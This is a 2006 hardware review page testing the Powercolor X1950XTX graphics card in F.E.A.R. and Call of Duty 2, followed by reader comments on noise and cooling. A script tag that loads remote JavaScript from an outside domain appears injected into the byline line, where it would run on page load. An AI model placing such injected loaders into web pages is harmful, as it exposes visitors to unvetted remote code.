Powercolor X1950XTX

F.E.A.R. and Call of duty 2

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 07/09/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Powercolor


F.E.A.R.


F.E.A.R. is a game based on an engine that uses many features of DirectX 9.0c.

It has volumetric lighting, soft shadows, parallax mapping and particle effects, with a slow-motion mode that really taxes today's top of the line GPU's. I fully patched version the game with the latest patch. I played three two-minute runs on a taxing part of the game with plenty of action, using slow-motion for the full time whilst firing at enemy soldiers and using grenades that produce a cool "blast" contortion effect when blown up.

Here are the settings that were found to be optimal for F.E.A.R. on a Dell 2405FPW display

fear settings x1950xtx

And the FPS gained at from each card:

fear fps x1950xtx

F.E.A.R looked simply awesome with all of the high end settings enabled in it. The graph shows that the X1950XT-X didn't manage quite the FPS that the X1900 did, but that was not with the high levels of quality added to the scene. I was highly impressed with the performance from this card and the gaming experience was certainly enriched.

Call of Duty 2


Call of Duty 2 is a fairly recent game that uses a lot of DirectX 9.0c features, including real time shadows, amazing smoke effects and some nice looking HDR effects. This makes the game very taxing at these high resolutions. I played a fully patched up version of the game. Once again I played through the game with a two minute gaming session including explosions, smoke and also lots of snow. This should tax all our cards.

Here are the settings that were found to be optimal for Call of Duty on a Dell 2405FPW display:

fear settings X1950xtx

And the FPS that the game was played at:

cod2 fps

Once again the X1950XT-X managed amazing settings at framerates similar to that of the other two cards without the sheer amount of quality added to the scene. CoD 2 is a lovely looking game and I would certainly say that an X1950XT-X improved the gaming experience. At this high quality it is very hard to tell these top three cards apart, but the ATI cards do make the game look just that little bit better.

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Most Recent Comments

14-06-2006, 19:23:28

FarFarAway
I take a look at Powercolor's top-end card and put it through its paces

click here

14-06-2006, 19:30:19

NickS
Nice review. Good pix & benches too, Kempez Very thorough. You should use that card, hehe..your GTX get's smacked around by both cards lol, it's depressing (for you at least).

14-06-2006, 19:34:31

FarFarAway
Nah not depressed.

3 reasons:

1: nVidia's drivers are better

2: My GTX doesn't sound like its about to take off

3: I know I'll change my card when DX10 cards come out



Nice card tho

14-06-2006, 20:13:44

NickS
LOL good point. The X1K is quite loud, but christ ever stick your hand back there? Pushes at least 60 CFM at 100% if not more.

Nick

14-06-2006, 20:27:58

FarFarAway
Quote:
Originally Posted by NickS
LOL good point. The X1K is quite loud, but christ ever stick your hand back there? Pushes at least 60 CFM at 100% if not more.

Nick
Yeah but the nvidea cooling fan has a great throughput with none of the sound. the cooler on the GTX is far superior IMO

14-06-2006, 20:35:14

Raging
sweet reveiw mate and agreed nvidia's cooling solution is very capable sound-performance wise .

cheers.
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